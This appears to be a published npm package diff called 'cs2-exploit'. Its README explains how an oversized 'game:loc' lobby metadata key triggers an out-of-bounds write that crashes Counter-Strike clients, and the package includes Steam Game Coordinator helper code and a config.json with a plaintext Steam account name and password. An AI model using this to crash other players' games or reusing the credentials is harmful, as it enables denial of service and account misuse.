cs2-exploit 1.0.0

package/.github/workflows/npm-publish-github-packages.yml

@@ -0,0 +1,36 @@
+# This workflow will run tests using node and then publish a package to GitHub Packages when a release is created
+# For more information see: https://docs.github.com/en/actions/publishing-packages/publishing-nodejs-packages
+
+name: Node.js Package
+
+on:
+  release:
+    types: [created]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-node@v3
+        with:
+          node-version: 16
+      - run: npm ci
+      - run: npm test
+
+  publish-gpr:
+    needs: build
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+    steps:
+      - uses: actions/checkout@v3
+      - uses: actions/setup-node@v3
+        with:
+          node-version: 16
+          registry-url: https://npm.pkg.github.com/
+      - run: npm ci
+      - run: npm publish
+        env:
+          NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}}

package/README.md

@@ -0,0 +1,25 @@
+# The Exploit
+This exploit relies on the [game:loc](https://github.com/imhunterand/cs2-exploit/blob/main/helpers/Lobby.js#L260) metadata key, which when set to a length greater than `2^15` or `32768` and a client is invited, an out of bounds memory write is triggered, leading to an Access Violation/Segmentation Fault which ultimately crashes the CS:GO client.
+This XML file includes a Javascript file (`panorama/scripts/friendlobby.js`) that populates the fields such as the lobby members' avatars, the gamemode, the average lobby rank, and most importantly, the lobby location.
+```js
+	var _SetFlag = function ( elTile )
+	{
+		var countryCode = PartyBrowserAPI.GetPartySessionSetting( _m_xuid, 'game/loc' );
+		var elFlagImg = elTile.FindChildTraverse( 'JsFriendLobbyFlag' );
+		if ( countryCode )
+		{
+			elFlagImg.SetImage( 'file://{images}/flags/'+ countryCode +'.png' );
+			elFlagImg.RemoveClass( 'hidden' );
+		}
+		else
+		{
+			elFlagImg.AddClass( 'hidden' );
+		}
+	};
+```
+The hash function attempted to call the Clang `memset` function and write the parsed filepath to another area of memory without validating the size of the source data. This is called an `Out-of-bounds Write`.
+Initially, I had attempted to escalate this vulnerability to an RCE or remote code execution since the Valve bug bounty program would consider a client crasher out of scope. After contacting many friends who were much better than I was at reverse engineering, it was concluded that the most that could be achieved with this exploit was Denial of Service.
+
+## Credits
+ - Thanks to @imhunterand for finding the crash method
+ - Thanks to the @pwn0sec CSE Team for being our test subjects

package/config.json

@@ -0,0 +1,6 @@
+{
+	"details": {
+		"accountName": "eendlela5zl",
+		"password": "2TdRpLF673rZERch"
+	}
+}

package/helpers/Coordinator.js

@@ -0,0 +1,157 @@
+const Events = require("events");
+const ByteBuffer = require("bytebuffer");
+const Protos = require("./Protos.js");
+
+module.exports = class Coordinator extends Events {
+	constructor(steamUser) {
+		super();
+
+		this.steamUser = steamUser;
+		this.Protos = Protos([
+			{
+				name: "csgo",
+				protos: [
+					__dirname + "/../protobufs/csgo/gcsystemmsgs.proto",
+					__dirname + "/../protobufs/csgo/gcsdk_gcmessages.proto",
+					__dirname + "/../protobufs/csgo/cstrike15_gcmessages.proto"
+				]
+			},
+			{
+				name: "steam",
+				protos: [
+					__dirname + "/../protobufs/steam/steammessages_base.proto",
+					__dirname + "/../protobufs/steam/steammessages_clientserver_2.proto",
+					__dirname + "/../protobufs/steam/steammessages_clientserver.proto",
+					__dirname + "/../protobufs/steam/steammessages_clientserver_friends.proto"
+				]
+			}
+		]);
+
+		steamUser.on("receivedFromGC", (appid, msgType, payload) => {
+			if (appid !== 730) {
+				return;
+			}
+
+			this.emit("receivedFromGC", msgType, payload);
+		});
+
+		let _handleMessage = this.steamUser._handleMessage;
+		this.steamUser._handleMessage = (header, body) => {
+			_handleMessage.call(this.steamUser, header, body);
+
+			this.emit("receivedFromSteam", header, body);
+		}
+	}
+
+	/**
+	 * Send a message and get the response from it if needed
+	 * @param {Number|undefined} appid AppID where to send the GC message to - Pass "undefined" for customized proto
+	 * @param {Number} header The identifier of the message we are sending
+	 * @param {Object} proto Header proto
+	 * @param {Constructor|undefined} protobuf Constructor to create the buffer with settings. If "undefined" then "settings" HAS to be a buffer
+	 * @param {Object} settings Settings to combine with the protobuf to construct the buffer
+	 * @param {Number|undefined} responseHeader The response header to our request
+	 * @param {Object|undefined} responseProtobuf Will automatically append ".decode()": Function which will be used to decode the protobuf. If "undefined" will not decode response and resolve with the raw buffer of the response
+	 * @param {Number} timeout Max number of milliseconds before we give up on waiting for our response
+	 * @returns {Promise} Promise which resolves in the object of our response, or undefined if "responseHeader" is undefined or rejects in a timeout error
+	 */
+	sendMessage(appid, header, proto, protobuf, settings, responseHeader, responseProtobuf, timeout = 30000) {
+		return new Promise((resolve, reject) => {
+			if (!appid) {
+				let encoded = settings;
+				if (protobuf) {
+					let message = protobuf.create(settings);
+					encoded = protobuf.encode(message);
+				}
+
+				this.steamUser._send({
+					msg: header,
+					proto: proto
+				}, protobuf ? encoded.finish() : encoded);
+
+				if (!responseHeader) {
+					resolve();
+					return;
+				}
+
+				let sendTimeout = setTimeout(() => {
+					if (this.steamUser._handlerManager._handlers[responseHeader] && this.steamUser._handlerManager._handlers[responseHeader].length > 0) {
+						this.steamUser._handlerManager._handlers[responseHeader].pop(); // We added our message last (I assume) so remove the last one
+
+						if (this.steamUser._handlerManager._handlers[responseHeader].length <= 0) {
+							delete this.steamUser._handlerManager._handlers[responseHeader];
+						}
+					}
+
+					reject(new Error("Failed to send message: Timeout"));
+				}, timeout);
+
+				this.steamUser._handlerManager.add(responseHeader, (body) => {
+					if (this.steamUser._handlerManager.hasHandler(responseHeader)) {
+						if (this.steamUser._handlerManager._handlers[responseHeader] && this.steamUser._handlerManager._handlers[responseHeader].length > 0) {
+							this.steamUser._handlerManager._handlers[responseHeader].pop(); // We added our message last (I assume) so remove the last one
+
+							if (this.steamUser._handlerManager._handlers[responseHeader].length <= 0) {
+								delete this.steamUser._handlerManager._handlers[responseHeader];
+							}
+						}
+					}
+
+					clearTimeout(sendTimeout);
+
+					if (!responseProtobuf) {
+						if (body instanceof Buffer || body instanceof ByteBuffer) {
+							resolve(body);
+							return;
+						}
+
+						resolve(body);
+						return;
+					}
+
+					if (body instanceof Buffer || body instanceof ByteBuffer) {
+						body = responseProtobuf.decode(body.toBuffer());
+						body = responseProtobuf.toObject(body, { defaults: true });
+					}
+
+					resolve(body);
+				});
+				return;
+			}
+
+			let encoded = settings;
+			if (protobuf) {
+				let message = protobuf.create(settings);
+				encoded = protobuf.encode(message);
+			}
+			this.steamUser.sendToGC(appid, header, proto, protobuf ? encoded.finish() : encoded);
+
+			if (!responseHeader) {
+				resolve();
+				return;
+			}
+
+			let sendTimeout = setTimeout(() => {
+				this.removeListener("receivedFromGC", sendMessageResponse);
+				reject(new Error("Failed to send message: Timeout"));
+			}, timeout);
+
+			this.on("receivedFromGC", sendMessageResponse);
+			function sendMessageResponse(msgType, payload) {
+				if (msgType === responseHeader) {
+					clearTimeout(sendTimeout);
+					this.removeListener("receivedFromGC", sendMessageResponse);
+
+					if (!responseProtobuf) {
+						resolve(payload);
+						return;
+					}
+
+					let msg = responseProtobuf.decode(payload);
+					msg = responseProtobuf.toObject(msg, { defaults: true });
+					resolve(msg);
+				}
+			}
+		});
+	}
+}

package/helpers/Helper.js

@@ -0,0 +1,171 @@
+const SteamUser = require("steam-user");
+const SteamID = require("steamid");
+const unzipper = require("unzipper");
+const path = require("path");
+const fs = require("fs");
+const request = require("request");
+const Coordinator = require("./Coordinator.js");
+
+module.exports = class Helper {
+	static decodeUids(input) {
+		let bytes = [];
+
+		let byte = input.readUint8();
+		while (byte !== 0x00) {
+			bytes.push(byte);
+			byte = input.readUint8();
+		}
+		bytes.push(0);
+
+		let b = Buffer.from(bytes);
+		let results = [];
+		let position = 0;
+
+		while (position < b.length) {
+			let lookahead = 0;
+			let token = b.readInt8(position);
+			let backup = token;
+			let v5 = 0;
+			let v7 = 0;
+			let v9 = 0;
+
+			do {
+				backup = token;
+				lookahead += 1;
+				v9 = (token & 0x7F) << v7;
+				v7 += 7;
+				v5 |= v9;
+
+				if (token === 0 || backup >= 0) {
+					break;
+				}
+
+				token = b.readInt8(position + lookahead);
+			} while (v7 < 35);
+
+			if (backup < 0) {
+				break;
+			}
+
+			position += lookahead;
+
+			if (v5 === 0) {
+				continue;
+			}
+
+			results.push(SteamID.fromIndividualAccountID(v5));
+		}
+
+		return results;
+	}
+
+	static encodeUids(steamids) {
+		let outputBuffer = [];
+
+		for (let id of steamids.map(s => s.accountid)) {
+			while (id > 0x7F) {
+				outputBuffer.push((id | 0x80) & 0xFF);
+				id >>= 7;
+			}
+
+			outputBuffer.push(id);
+		}
+
+		outputBuffer.push(0x00);
+
+		return Buffer.from(outputBuffer);
+	}
+
+	static IPStrToInt(ipString) {
+		let buf = Buffer.alloc(4);
+		let octets = ipString.split(".");
+
+		for (let i = 0; i < 4; i++) {
+			buf[i] = parseInt(octets[i], 10);
+		}
+
+		return buf.readUInt32BE(0);
+	}
+
+	static deleteRecursive(dir) {
+		return new Promise((resolve, reject) => {
+			fs.readdir(dir, async (err, files) => {
+				if (err) {
+					reject(err);
+					return;
+				}
+
+				for (let file of files) {
+					let filePath = path.join(dir, file);
+					let stat = fs.statSync(filePath);
+
+					if (stat.isDirectory()) {
+						await this.deleteRecursive(filePath);
+					} else {
+						await new Promise((res, rej) => {
+							fs.unlink(filePath, (err) => {
+								if (err) {
+									rej(err);
+									return;
+								}
+
+								res();
+							});
+						});
+					}
+				}
+
+				fs.rmdir(dir, (err) => {
+					if (err) {
+						reject(err);
+						return;
+					}
+
+					resolve();
+				});
+			});
+		});
+	}
+
+	static downloadProtobufs(dir) {
+		return new Promise(async (resolve, reject) => {
+			let newProDir = path.join(dir, "Protobufs-master");
+			if (fs.existsSync(newProDir)) {
+				await this.deleteRecursive(newProDir);
+			}
+
+			// Yes I know the ones I download here are technically not the same as the ones in the submodule
+			// but that doesn't really matter, I doubt Valve will do any major changes with the protobufs I use here anyways
+			let r = request("https://github.com/SteamDatabase/Protobufs/archive/master.zip");
+			let pipe = r.pipe(unzipper.Extract({ path: dir }));
+			pipe.on("close", async () => {
+				let proDir = path.join(dir, "protobufs");
+				if (fs.existsSync(proDir)) {
+					await this.deleteRecursive(proDir);
+				}
+
+				fs.rename(newProDir, proDir, (err) => {
+					if (err) {
+						reject(err);
+						return;
+					}
+
+					resolve();
+				});
+			});
+			pipe.on("error", reject);
+		});
+	}
+
+	static verifyProtobufs() {
+		let user = new SteamUser();
+		let coord = new Coordinator(user);
+
+		try {
+			return typeof coord.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello === "number";
+		} catch (e) {
+			return false;
+		}
+	}
+
+}